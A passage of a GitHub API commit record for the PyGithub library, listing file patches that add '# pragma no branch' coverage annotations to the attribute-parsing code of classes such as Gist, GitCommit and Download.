)","additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":18,"deletions":9,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitFile.py","filename":"src/github/CommitFile.py","patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]","additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitStats.py","filename":"src/github/CommitStats.py","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"deletions\", \"total\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"additions\" ], int )\n self.__additions = attributes[ \"additions\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"deletions\" ], int )\n self.__deletions = attributes[ \"deletions\" ]\n- if \"total\" in attributes and attributes[ \"total\" ] is not None:\n+ if \"total\" in attributes and attributes[ \"total\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total\" ], int )\n self.__total = attributes[ \"total\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":40,"deletions":20,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Download.py","filename":"src/github/Download.py","patch":"@@ -162,43 +162,43 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"accesskeyid\", \"acl\", \"bucket\", \"content_type\", \"created_at\", \"description\", \"download_count\", \"expirationdate\", \"html_url\", \"id\", \"mime_type\", \"name\", \"path\", \"policy\", \"prefix\", \"redirect\", \"s3_url\", \"signature\", \"size\", \"url\", \"x-amz-meta-content-disposition\" ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None:\n+ if \"accesskeyid\" in attributes and attributes[ \"accesskeyid\" ] is not None: # pragma no branch\n self.__accesskeyid = attributes[ \"accesskeyid\" ]\n- if \"acl\" in attributes and attributes[ \"acl\" ] is not None:\n+ if \"acl\" in attributes and attributes[ \"acl\" ] is not None: # pragma no branch\n self.__acl = attributes[ \"acl\" ]\n- if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None:\n+ if \"bucket\" in attributes and attributes[ \"bucket\" ] is not None: # pragma no branch\n self.__bucket = attributes[ \"bucket\" ]\n- if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None:\n+ if \"content_type\" in attributes and attributes[ \"content_type\" ] is not None: # pragma no branch\n self.__content_type = attributes[ \"content_type\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n self.__description = attributes[ \"description\" ]\n- if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None:\n+ if \"download_count\" in attributes and attributes[ \"download_count\" ] is not None: # pragma no branch\n self.__download_count = attributes[ \"download_count\" ]\n- if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None:\n+ if \"expirationdate\" in attributes and attributes[ \"expirationdate\" ] is not None: # pragma no branch\n self.__expirationdate = attributes[ \"expirationdate\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None:\n+ if \"mime_type\" in attributes and attributes[ \"mime_type\" ] is not None: # pragma no branch\n self.__mime_type = attributes[ \"mime_type\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"policy\" in attributes and attributes[ \"policy\" ] is not None:\n+ if \"policy\" in attributes and attributes[ \"policy\" ] is not None: # pragma no branch\n self.__policy = attributes[ \"policy\" ]\n- if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None:\n+ if \"prefix\" in attributes and attributes[ \"prefix\" ] is not None: # pragma no branch\n self.__prefix = attributes[ \"prefix\" ]\n- if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None:\n+ if \"redirect\" in attributes and attributes[ \"redirect\" ] is not None: # pragma no branch\n self.__redirect = attributes[ \"redirect\" ]\n- if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None:\n+ if \"s3_url\" in attributes and attributes[ \"s3_url\" ] is not None: # pragma no branch\n self.__s3_url = attributes[ \"s3_url\" ]\n- if \"signature\" in attributes and attributes[ \"signature\" ] is not None:\n+ if \"signature\" in attributes and attributes[ \"signature\" ] is not None: # pragma no branch\n self.__signature = attributes[ \"signature\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","additions":20,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":16,"deletions":8,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Event.py","filename":"src/github/Event.py","patch":"@@ -60,22 +60,22 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"actor\", \"created_at\", \"id\", \"org\", \"payload\", \"public\", \"repo\", \"type\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"actor\" in attributes and attributes[ \"actor\" ] is not None:\n+ if \"actor\" in attributes and attributes[ \"actor\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"actor\" ], dict )\n self.__actor = NamedUser.NamedUser( self.__requester, attributes[ \"actor\" ], completion = LazyCompletion )\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"org\" in attributes and attributes[ \"org\" ] is not None:\n+ if \"org\" in attributes and attributes[ \"org\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"org\" ], dict )\n self.__org = Organization.Organization( self.__requester, attributes[ \"org\" ], completion = LazyCompletion )\n- if \"payload\" in attributes and attributes[ \"payload\" ] is not None:\n+ if \"payload\" in attributes and attributes[ \"payload\" ] is not None: # pragma no branch\n self.__payload = attributes[ \"payload\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n self.__public = attributes[ \"public\" ]\n- if \"repo\" in attributes and attributes[ \"repo\" ] is not None:\n+ if \"repo\" in attributes and attributes[ \"repo\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"repo\" ], dict )\n self.__repo = Repository.Repository( self.__requester, attributes[ \"repo\" ], completion = LazyCompletion )\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n self.__type = attributes[ \"type\" ]","additions":8,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":30,"deletions":15,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Gist.py","filename":"src/github/Gist.py","patch":"@@ -220,53 +220,53 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"comments\", \"created_at\", \"description\", \"files\", \"fork_of\", \"forks\", \"git_pull_url\", \"git_push_url\", \"history\", \"html_url\", \"id\", \"public\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"comments\" ], int )\n self.__comments = attributes[ \"comments\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n self.__files = attributes[ \"files\" ]\n- if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None:\n+ if \"fork_of\" in attributes and attributes[ \"fork_of\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork_of\" ], dict )\n self.__fork_of = Gist( self.__requester, attributes[ \"fork_of\" ], completion = LazyCompletion )\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], list ) and ( len( attributes[ \"forks\" ] ) == 0 or isinstance( attributes[ \"forks\" ][ 0 ], dict ) )\n self.__forks = [\n Gist( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"forks\" ]\n ]\n- if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None:\n+ if \"git_pull_url\" in attributes and attributes[ \"git_pull_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_pull_url\" ], str )\n self.__git_pull_url = attributes[ \"git_pull_url\" ]\n- if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None:\n+ if \"git_push_url\" in attributes and attributes[ \"git_push_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_push_url\" ], str )\n self.__git_push_url = attributes[ \"git_push_url\" ]\n- if \"history\" in attributes and attributes[ \"history\" ] is not None:\n+ if \"history\" in attributes and attributes[ \"history\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"history\" ], list ) and ( len( attributes[ \"history\" ] ) == 0 or isinstance( attributes[ \"history\" ][ 0 ], dict ) )\n self.__history = [\n GistHistoryState.GistHistoryState( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"history\" ]\n ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], str )\n self.__id = attributes[ \"id\" ]\n- if \"public\" in attributes and attributes[ \"public\" ] is not None:\n+ if \"public\" in attributes and attributes[ \"public\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public\" ], bool )\n self.__public = attributes[ \"public\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":15,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":12,"deletions":6,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistComment.py","filename":"src/github/GistComment.py","patch":"@@ -68,16 +68,16 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"created_at\", \"id\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":10,"deletions":5,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GistHistoryState.py","filename":"src/github/GistHistoryState.py","patch":"@@ -44,18 +44,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"change_status\", \"committed_at\", \"url\", \"user\", \"version\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None:\n+ if \"change_status\" in attributes and attributes[ \"change_status\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"change_status\" ], dict )\n self.__change_status = CommitStats.CommitStats( self.__requester, attributes[ \"change_status\" ], completion = LazyCompletion )\n- if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None:\n+ if \"committed_at\" in attributes and attributes[ \"committed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committed_at\" ], str )\n self.__committed_at = attributes[ \"committed_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )\n- if \"version\" in attributes and attributes[ \"version\" ] is not None:\n+ if \"version\" in attributes and attributes[ \"version\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"version\" ], str )\n self.__version = attributes[ \"version\" ]","additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitAuthor.py","filename":"src/github/GitAuthor.py","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"date\", \"email\", \"name\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"date\" in attributes and attributes[ \"date\" ] is not None:\n+ if \"date\" in attributes and attributes[ \"date\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"date\" ], str )\n self.__date = attributes[ \"date\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":10,"deletions":5,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitBlob.py","filename":"src/github/GitBlob.py","patch":"@@ -42,18 +42,18 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"content\", \"encoding\", \"sha\", \"size\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"content\" in attributes and attributes[ \"content\" ] is not None:\n+ if \"content\" in attributes and attributes[ \"content\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"content\" ], str )\n self.__content = attributes[ \"content\" ]\n- if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None:\n+ if \"encoding\" in attributes and attributes[ \"encoding\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"encoding\" ], str )\n self.__encoding = attributes[ \"encoding\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":14,"deletions":7,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitCommit.py","filename":"src/github/GitCommit.py","patch":"@@ -55,27 +55,27 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"committer\", \"message\", \"parents\", \"sha\", \"tree\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = GitAuthor.GitAuthor( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = GitAuthor.GitAuthor( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n GitCommit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tree\" in attributes and attributes[ \"tree\" ] is not None:\n+ if \"tree\" in attributes and attributes[ \"tree\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tree\" ], dict )\n self.__tree = GitTree.GitTree( self.__requester, attributes[ \"tree\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":7,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitObject.py","filename":"src/github/GitObject.py","patch":"@@ -32,12 +32,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"sha\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":6,"deletions":3,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitRef.py","filename":"src/github/GitRef.py","patch":"@@ -55,12 +55,12 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"object\", \"ref\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"ref\" in attributes and attributes[ \"ref\" ] is not None:\n+ if \"ref\" in attributes and attributes[ \"ref\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ref\" ], str )\n self.__ref = attributes[ \"ref\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":3,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":12,"deletions":6,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/GitTag.py","filename":"src/github/GitTag.py","patch":"@@ -49,21 +49,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"message\", \"object\", \"sha\", \"tag\", \"tagger\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"message\" in attributes and attributes[ \"message\" ] is not None:\n+ if \"message\" in attributes and attributes[ \"message\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"message\" ], str )\n self.__message = attributes[ \"message\" ]\n- if \"object\" in attributes and attributes[ \"object\" ] is not None:\n+ if \"object\" in attributes and attributes[ \"object\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"object\" ], dict )\n self.__object = GitObject.GitObject( self.__requester, attributes[ \"object\" ], completion = LazyCompletion )\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"tag\" in attributes and attributes[ \"tag\" ] is not None:\n+ if \"tag\" in attributes and attributes[ \"tag\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tag\" ], str )\n self.__tag = attributes[ \"tag\" ]\n- if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None:\n+ if \"tagger\" in attributes and attributes[ \"tagger\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tagger\" ], dict )\n self.__tagger = GitAuthor.GitAuthor( self.__requester, attributes[ \"tagger\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" 